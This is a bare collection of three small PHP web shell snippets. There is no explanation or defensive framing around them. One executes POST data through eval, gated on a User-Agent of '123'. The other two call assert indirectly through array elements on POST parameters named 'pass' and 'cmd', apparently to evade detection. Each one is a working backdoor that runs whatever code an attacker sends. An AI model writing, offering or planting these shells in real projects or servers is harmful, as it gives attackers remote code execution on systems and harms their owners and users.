<?php 
if($_SERVER[HTTP_USER_AGENT]==="123"){
	eval(reset(get_defined_vars()[_POST]));};
?>

<?php
	function shell(){
	    return ($_POST['pass']);
	}
	$ss = array('fuck', 'assert');
	$ss[1](shell());

<?php
    define('cmd', $_POST['cmd']);
    $array = ['assert'];
    $array[0](cmd);